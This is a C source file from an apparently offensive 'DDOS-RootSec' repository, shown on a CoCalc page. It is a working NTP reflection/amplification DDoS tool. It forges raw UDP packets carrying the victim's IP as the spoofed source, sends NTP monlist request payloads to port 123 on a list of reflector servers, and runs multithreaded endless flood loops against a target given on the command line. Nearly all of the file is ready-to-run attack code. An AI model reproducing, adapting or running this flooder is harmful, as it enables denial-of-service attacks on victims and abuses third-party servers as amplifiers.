Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/ntp.c
4622 views
1
#include <time.h>
2
#include <pthread.h>
3
#include <unistd.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <sys/socket.h>
8
#include <netinet/ip.h>
9
#include <netinet/udp.h>
10
#include <arpa/inet.h>
11
#define MAX_PACKET_SIZE 8192
12
#define PHI 0x9e3779b9
13
static unsigned int payloadsize = 8;
14
static unsigned int xport = 123;
15
static uint32_t Q[4096], c = 362436;
16
struct list
17
{
18
struct sockaddr_in data;
19
struct list *next;
20
struct list *prev;
21
};
22
struct list *head;
23
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
24
void init_rand(uint32_t x)
25
{
26
int i;
27
Q[0] = x;
28
Q[1] = x + PHI;
29
Q[2] = x + PHI + PHI;
30
for (i = 3; i < 4096; i++)
31
{
32
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
33
}
34
}
35
36
uint32_t rand_cmwc(void)
37
{
38
uint64_t t, a = 18782LL;
39
static uint32_t i = 4095;
40
uint32_t x, r = 0xfffffffe;
41
i = (i + 1) & 4095;
42
t = a * Q[i] + c;
43
c = (t >> 32);
44
x = t + c;
45
if (x < c) {
46
x++;
47
c++;
48
}
49
return (Q[i] = r - x);
50
}
51
52
/* function for header checksums */
53
unsigned short csum (unsigned short *buf, int nwords)
54
{
55
unsigned long sum;
56
for (sum = 0; nwords > 0; nwords--)
57
sum += *buf++;
58
sum = (sum >> 16) + (sum & 0xffff);
59
sum += (sum >> 16);
60
return (unsigned short)(~sum);
61
}
62
63
void setup_ip_header(struct iphdr *iph)
64
{
65
iph->ihl = 5;
66
iph->version = 4;
67
iph->tos = 0;
68
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + payloadsize;
69
iph->id = htonl(54321);
70
iph->frag_off = 0;
71
iph->ttl = MAXTTL;
72
iph->protocol = IPPROTO_UDP;
73
iph->check = 0;
74
iph->saddr = inet_addr("192.168.3.100");
75
}
76
77
void setup_udp_header(struct udphdr *udph)
78
{
79
udph->source = htons(5678);
80
udph->dest = htons(xport);
81
udph->check = 0;
82
memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", payloadsize);
83
udph->len=htons(sizeof(struct udphdr) + payloadsize);
84
}
85
86
void *flood(void *par1)
87
{
88
struct thread_data *td = (struct thread_data *)par1;
89
char datagram[MAX_PACKET_SIZE];
90
struct iphdr *iph = (struct iphdr *)datagram;
91
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
92
struct sockaddr_in sin = td->sin;
93
struct list *list_node = td->list_node;
94
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
95
if(s < 0){
96
fprintf(stderr, "Could not open raw socket.\n");
97
exit(-1);
98
}
99
init_rand(time(NULL));
100
memset(datagram, 0, MAX_PACKET_SIZE);
101
setup_ip_header(iph);
102
setup_udp_header(udph);
103
udph->source = sin.sin_port;
104
iph->saddr = sin.sin_addr.s_addr;
105
iph->daddr = list_node->data.sin_addr.s_addr;
106
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
107
int tmp = 1;
108
const int *val = &tmp;
109
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
110
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
111
exit(-1);
112
}
113
int i=0;
114
while(1){
115
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116
list_node = list_node->next;
117
iph->daddr = list_node->data.sin_addr.s_addr;
118
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
119
if(i==5)
120
{
121
usleep(0);
122
i=0;
123
}
124
i++;
125
}
126
}
127
int main(int argc, char *argv[ ])
128
{
129
if(argc < 4){
130
fprintf(stderr, "Invalid parameters!\n");
131
fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
132
exit(-1);
133
}
134
int i = 0;
135
head = NULL;
136
fprintf(stdout, "Setting up Sockets...\n");
137
int max_len = 128;
138
char *buffer = (char *) malloc(max_len);
139
buffer = memset(buffer, 0x00, max_len);
140
int num_threads = atoi(argv[4]);
141
FILE *list_fd = fopen(argv[3], "r");
142
while (fgets(buffer, max_len, list_fd) != NULL) {
143
if ((buffer[strlen(buffer) - 1] == '\n') ||
144
(buffer[strlen(buffer) - 1] == '\r')) {
145
buffer[strlen(buffer) - 1] = 0x00;
146
if(head == NULL)
147
{
148
head = (struct list *)malloc(sizeof(struct list));
149
bzero(&head->data, sizeof(head->data));
150
head->data.sin_addr.s_addr=inet_addr(buffer);
151
head->next = head;
152
head->prev = head;
153
} else {
154
struct list *new_node = (struct list *)malloc(sizeof(struct list));
155
memset(new_node, 0x00, sizeof(struct list));
156
new_node->data.sin_addr.s_addr=inet_addr(buffer);
157
new_node->prev = head;
158
new_node->next = head->next;
159
head->next = new_node;
160
}
161
i++;
162
} else {
163
continue;
164
}
165
}
166
struct list *current = head->next;
167
pthread_t thread[num_threads];
168
struct sockaddr_in sin;
169
sin.sin_family = AF_INET;
170
sin.sin_port = htons(atoi(argv[2]));
171
sin.sin_addr.s_addr = inet_addr(argv[1]);
172
struct thread_data td[num_threads];
173
for(i = 0;i<num_threads;i++){
174
td[i].thread_id = i;
175
td[i].sin= sin;
176
td[i].list_node = current;
177
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
178
}
179
fprintf(stdout, "Starting Flood...\n");
180
if(argc > 5)
181
{
182
sleep(atoi(argv[5]));
183
} else {
184
while(1){
185
sleep(1);
186
}
187
}
188
return 0;
189
}
190